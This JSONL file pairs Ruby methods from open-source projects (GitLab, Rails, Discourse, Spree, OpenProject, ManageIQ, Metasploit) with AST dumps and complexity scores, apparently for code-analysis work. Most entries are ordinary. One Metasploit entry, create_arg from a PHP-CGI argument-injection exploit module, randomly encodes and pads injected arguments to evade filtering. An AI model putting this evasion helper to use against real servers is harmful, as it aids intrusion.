{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/omniauth-salesforce/lib/omniauth/strategies/salesforce.rb","start_line":68,"raw_source":"def raw_info\n        access_token.options[:mode] = :header\n        @raw_info ||= access_token.post(access_token['id']).parsed\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"sym\",\"children\":[\"header\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},\"parsed\"]}]}]}]}","id":"e9ffce2f-92be-4068-bd08-1623db17366b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ref_finder.rb","start_line":28,"raw_source":"def project_sha_tag_name(sha)\n        project.repository.tag_names_contains(sha, limit: 1).first\n      end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"project_sha_tag_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"tag_names_contains\",{\"type\":\"lvar\",\"children\":[\"sha\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"first\"]}]}","id":"4afc678d-258f-4a7d-a8ec-f30ee735288c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_seeder.rb","start_line":88,"raw_source":"def create_work_package(attributes)\n      wp_attr = base_work_package_attributes attributes\n\n      set_version! wp_attr, attributes\n      set_time_tracking_attributes! wp_attr, attributes\n      set_backlogs_attributes! wp_attr, attributes\n\n      work_package = WorkPackage.create! wp_attr\n\n      create_children! work_package, attributes\n      create_attachments! work_package, attributes\n      update_description! work_package\n      add_relations_to_create work_package, attributes\n      memorize_work_package work_package, attributes\n\n      work_package\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_attr\",{\"type\":\"send\",\"children\":[null,\"base_work_package_attributes\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_version!\",{\"type\":\"lvar\",\"children\":[\"wp_attr\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"set_time_tracking_attributes!\",{\"type\":\"lvar\",\"children\":[\"wp_attr\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"set_backlogs_attributes!\",{\"type\":\"lvar\",\"children\":[\"wp_attr\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"wp_attr\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_children!\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"create_attachments!\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"update_description!\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"add_relations_to_create\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"memorize_work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}","id":"0e5b2ad3-6f86-46c9-a81b-9a7e3acf805a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_tag_helper.rb","start_line":350,"raw_source":"def file_field_tag(name, options = {})\n        text_field_tag(name, nil, convert_direct_upload_option_to_url(options.merge(type: :file)))\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"text_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"convert_direct_upload_option_to_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]}]}]}]}","id":"97519f69-f4fc-4199-9f4a-9d0a0b9d9234"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/sentiment/post_classification.rb","start_line":134,"raw_source":"def classifiers\n        DiscourseAi::Sentiment::SentimentSiteSettingJsonSchema.values.map do |config|\n          api_endpoint = config.endpoint\n\n          if api_endpoint.present? && api_endpoint.start_with?(\"srv://\")\n            service = DiscourseAi::Utils::DnsSrv.lookup(api_endpoint.delete_prefix(\"srv://\"))\n            api_endpoint = \"https://#{service.target}:#{service.port}\"\n          end\n\n          {\n            model_name: config.model_name,\n            client:\n              DiscourseAi::Inference::HuggingFaceTextEmbeddings.new(api_endpoint, config.api_key),\n          }\n        end\n      end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"classifiers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Sentiment\"]},\"SentimentSiteSettingJsonSchema\"]},\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_endpoint\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"endpoint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_endpoint\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_endpoint\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"srv://\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"DnsSrv\"]},\"lookup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_endpoint\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"srv://\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"api_endpoint\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"target\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"port\"]}]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"model_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Inference\"]},\"HuggingFaceTextEmbeddings\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"api_endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"api_key\"]}]}]}]}]}]}]}","id":"b1671f55-30ac-4f8a-892c-bb6166f25ce0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":1337,"raw_source":"def has_localization?(locale = I18n.locale)\n    get_localization(locale).present?\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_localization?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"locale\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_localization\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]},\"present?\"]}]}","id":"ce1c3a12-b4ac-4976-9dd5-345d0a4e8da3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/memory/watchdog/monitor_state_spec.rb","start_line":13,"raw_source":"def call\n        { threshold_violated: threshold_violated, payload: payload }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threshold_violated\"]},{\"type\":\"send\",\"children\":[null,\"threshold_violated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]}]}","id":"d9419287-69c1-463e-8aac-ad859b1d7541"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/firmware_target.rb","start_line":25,"raw_source":"def self.find_compatible_with(attributes, create: false)\n    relevant_attrs = attributes.tap do |attrs|\n      attrs.symbolize_keys!\n      attrs.slice!(*MATCH_ATTRIBUTES)\n      attrs.transform_values!(&:downcase)\n    end\n    create ? find_or_create_by(relevant_attrs) : find_by(relevant_attrs)\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_compatible_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]},{\"type\":\"kwoptarg\",\"children\":[\"create\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relevant_attrs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"symbolize_keys!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"slice!\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MATCH_ATTRIBUTES\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"transform_values!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create\"]},{\"type\":\"send\",\"children\":[null,\"find_or_create_by\",{\"type\":\"lvar\",\"children\":[\"relevant_attrs\"]}]},{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"lvar\",\"children\":[\"relevant_attrs\"]}]}]}]}]}","id":"a63dc369-1c28-4fc4-afae-822f55d87ac9"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/translation_migrations.rb","start_line":36,"raw_source":"def revert_translation_data_transfer\n      translation_table_fields = @resource_class.translatable_fields.map { |f| \"#{@translations_table}.#{f}\" }.join(', ')\n      row_expression = @resource_class.translatable_fields.count == 1 ? 'ROW' : ''\n\n      # Update main table with translations\n      @resource_class::Translation.find_each do |translation|\n        resource = @resource_class.find(translation[@foreign_key])\n        @resource_class.translatable_fields.each do |field|\n          resource.update_column(field, translation[field])\n        end\n      end\n\n      # Clear translations table\n      @resource_class::Translation.delete_all\n    end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"revert_translation_data_transfer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translation_table_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_class\"]},\"translatable_fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@translations_table\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"row_expression\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_class\"]},\"translatable_fields\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"ROW\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_class\"]},\"Translation\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"translation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_class\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@foreign_key\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_class\"]},\"translatable_fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"update_column\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_class\"]},\"Translation\"]},\"delete_all\"]}]}]}","id":"1afeb545-448e-45bf-aba7-97450d4dc8cf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/system/page_objects/discourse_calendar/post_event_form.rb","start_line":35,"raw_source":"def submit\n          modal.find(\".d-modal__footer .btn-primary\").click\n          has_no_selector?(MODAL_SELECTOR)\n          self\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"submit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modal\"]},\"find\",{\"type\":\"str\",\"children\":[\".d-modal__footer .btn-primary\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"has_no_selector?\",{\"type\":\"const\",\"children\":[null,\"MODAL_SELECTOR\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"064831f4-d18b-4956-ac7e-6dbd5ab4bbbc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration/command_recorder.rb","start_line":199,"raw_source":"def invert_transaction(args, &block)\n          sub_recorder = CommandRecorder.new(delegate)\n          sub_recorder.revert(&block)\n\n          invertions_proc = proc {\n            sub_recorder.replay(self)\n          }\n\n          [:transaction, args, invertions_proc]\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"invert_transaction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sub_recorder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CommandRecorder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"delegate\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_recorder\"]},\"revert\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"invertions_proc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_recorder\"]},\"replay\",{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"transaction\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"invertions_proc\"]}]}]}]}","id":"9118d14a-9d3e-497a-98ad-49d52268c436"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_cgi_arg_injection.rb","start_line":145,"raw_source":"def create_arg(arg, val = nil)\n    if val\n      val = rand_encode(val)\n      val.gsub!('=', '%3d')   # = must always be encoded\n      val.gsub!('\"', '%22')   # \" too\n    end\n\n    ret = ''\n    ret << rand_spaces\n    ret << rand_opt_equiv(arg)\n    ret << rand_space\n    ret << rand_spaces\n    ret << val.to_s\n    ret << rand_space\n    ret\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_arg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]},{\"type\":\"optarg\",\"children\":[\"val\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[null,\"rand_encode\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"str\",\"children\":[\"%3d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"%22\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_spaces\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_opt_equiv\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_space\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_spaces\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_space\"]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}","id":"7793f514-6090-40fc-b448-95f8880984b1"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/json_preview_helper.rb","start_line":66,"raw_source":"def serializer_params(record)\n        params = {}\n        params[:store] = current_store if defined?(current_store) && current_store.present?\n        params[:currency] = current_currency if defined?(current_currency) && current_currency.present?\n        params[:locale] = current_locale if defined?(current_locale) && current_locale.present?\n        params\n      end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"serializer_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"current_store\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_currency\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_currency\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"current_currency\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_locale\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[null,\"current_locale\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"0b7ff334-b264-4ea1-93fa-24ce5f89694f"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/badges.rb","start_line":120,"raw_source":"def ensure_valid_trigger(row)\n      ensure_valid_value(\n        value: row[:trigger],\n        allowed_set: VALID_TRIGGERS,\n        default_value: Badge::Trigger::None,\n      ) do |invalid, default|\n        # TODO(selase): Adopt importer framework warning implementation once available\n        puts \"    #{row[:name]}: Invalid badge trigger '#{invalid}', using default '#{default}'\"\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_valid_trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_valid_value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"trigger\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_set\"]},{\"type\":\"const\",\"children\":[null,\"VALID_TRIGGERS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"Trigger\"]},\"None\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"invalid\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\": Invalid badge trigger '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid\"]}]},{\"type\":\"str\",\"children\":[\"', using default '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"17000aeb-51dd-4e02-aaa3-270d31bd7a02"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ftp.rb","start_line":355,"raw_source":"def pass\n    datastore['FTPPASS']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FTPPASS\"]}]}]}","id":"86293bdc-3c3a-471c-8dcb-536015292de6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/base.rb","start_line":144,"raw_source":"def with_leading_slash(path)\n          path ||= \"\"\n          path[0, 1] == \"/\" ? path : \"/#{path}\"\n        end","complexity_score":4.55,"ast_json":"{\"type\":\"def\",\"children\":[\"with_leading_slash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"417f7e80-6fa7-4965-b42b-34ac8039eb31"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment/gateway_options.rb","start_line":13,"raw_source":"def statement_descriptor_suffix\n        order.number\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"statement_descriptor_suffix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"number\"]}]}","id":"9079696e-81a2-4b98-85d7-edba8e9b0e89"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/auth_brute.rb","start_line":681,"raw_source":"def vprint_good(msg='')\n    print_brute :level => :vgood, :msg => msg\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"vprint_good\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"vgood\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"33dbaf6d-dc44-4d32-96b5-b8935d92ace5"}
